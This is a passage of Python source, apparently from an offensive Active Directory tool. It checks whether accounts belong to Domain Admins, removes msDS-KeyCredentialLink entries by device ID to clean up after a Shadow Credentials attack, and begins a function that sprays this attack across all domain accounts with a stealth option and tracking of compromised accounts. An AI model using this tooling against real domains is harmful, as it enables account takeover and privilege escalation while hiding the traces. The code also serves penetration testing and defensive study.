if isinstance(member_of, list):
for group in member_of:
if 'CN=Domain Admins' in str(group) or 'CN=Enterprise Admins' in str(group):
return True
elif 'CN=Domain Admins' in str(member_of) or 'CN=Enterprise Admins' in str(member_of):
return True
# Also check using recursive membership (memberOf:1.2.840.113556.1.4.1941)
# Find Domain Admins DN
ldap_sess.search(
search_base,
'(&(objectClass=group)(cn=Domain Admins))',
attributes=['distinguishedName']
)
if ldap_sess.entries:
da_dn = ldap_sess.entries[0].entry_dn
ldap_sess.search(
search_base,
f'(&(sAMAccountName={escape_filter_chars(sam_name)})(memberOf:1.2.840.113556.1.4.1941:={da_dn}))',
attributes=['sAMAccountName']
)
if ldap_sess.entries:
return True
return False
except Exception:
return False
# Helper function to remove credential by device ID
def remove_credential_by_device_id(ldap_sess, target_dn, device_id, username, output_directory='', write_func=None):
"""Remove a credential by device ID
Args:
write_func: Optional function to use for output (e.g., tqdm.write). If None, uses print()
"""
if write_func is None:
write_func = print
try:
# Get current credentials
ldap_sess.search(
target_dn,
'(objectClass=*)',
search_scope=ldap3.BASE,
attributes=['SAMAccountName', 'objectSid', 'msDS-KeyCredentialLink']
)
results = None
for entry in ldap_sess.response:
if entry['type'] != 'searchResEntry':
continue
results = entry
break
if not results:
log_device_id('REMOVE', username, device_id, output_directory, success=False)
return False
if 'raw_attributes' not in results or 'msDS-KeyCredentialLink' not in results['raw_attributes']:
log_device_id('REMOVE', username, device_id, output_directory, success=False)
return False
new_values = []
device_id_found = False
for dn_binary_value in results['raw_attributes']['msDS-KeyCredentialLink']:
try:
keyCredential = KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(dn_binary_value))
if keyCredential.DeviceId is None:
new_values.append(dn_binary_value)
continue
if keyCredential.DeviceId.toFormatD() == device_id:
device_id_found = True
# Don't add this one (removing it)
else:
new_values.append(dn_binary_value)
except Exception as err:
# Keep credentials we can't parse
new_values.append(dn_binary_value)
if device_id_found:
# Update the attribute
ldap_sess.modify(
target_dn,
{'msDS-KeyCredentialLink': [ldap3.MODIFY_REPLACE, new_values]}
)
if ldap_sess.result['result'] == 0:
write_func(Colors.success(f"[+] Successfully removed credential (DeviceID: {device_id}) from {username}"))
log_device_id('REMOVE', username, device_id, output_directory, success=True)
return True
else:
if debug:
error_msg = ldap_sess.result.get('message', 'Unknown error')
write_func(Colors.error(f"[-] Failed to remove credential: {error_msg}"))
log_device_id('REMOVE', username, device_id, output_directory, success=False)
return False
else:
if debug:
write_func(f"[!] DeviceID {device_id} not found for {username} (may have been removed already)")
log_device_id('REMOVE', username, device_id, output_directory, success=False)
return False
except Exception as e:
if debug:
write_func(f"[-] Error removing credential: {e}")
log_device_id('REMOVE', username, device_id, output_directory, success=False)
return False
# Helper function to perform spray on accounts
def perform_spray(ldap_sess, search_base_val, excluded_users_list=None, output_directory='', current_user=None, current_hash=None, already_compromised=None, auto_remove=True, pre_queried_accounts=None, stealth_mode=False):
"""Perform spray attack on all accounts
Args:
pre_queried_accounts: Optional list of pre-queried account dictionaries.
If provided, skips LDAP query and uses this list instead.
"""
if already_compromised is None:
already_compromised = set()
# Use pre-queried accounts if provided, otherwise query LDAP
domain_admins_set_from_query = set()
domain_controllers_set_from_query = set()
if pre_queried_accounts is not None:
# pre_queried_accounts can be either a list or a tuple (accounts, da_set, dc_set)
if isinstance(pre_queried_accounts, tuple) and len(pre_queried_accounts) == 3:
accounts_to_spray, domain_admins_set_from_query, domain_controllers_set_from_query = pre_queried_accounts
else: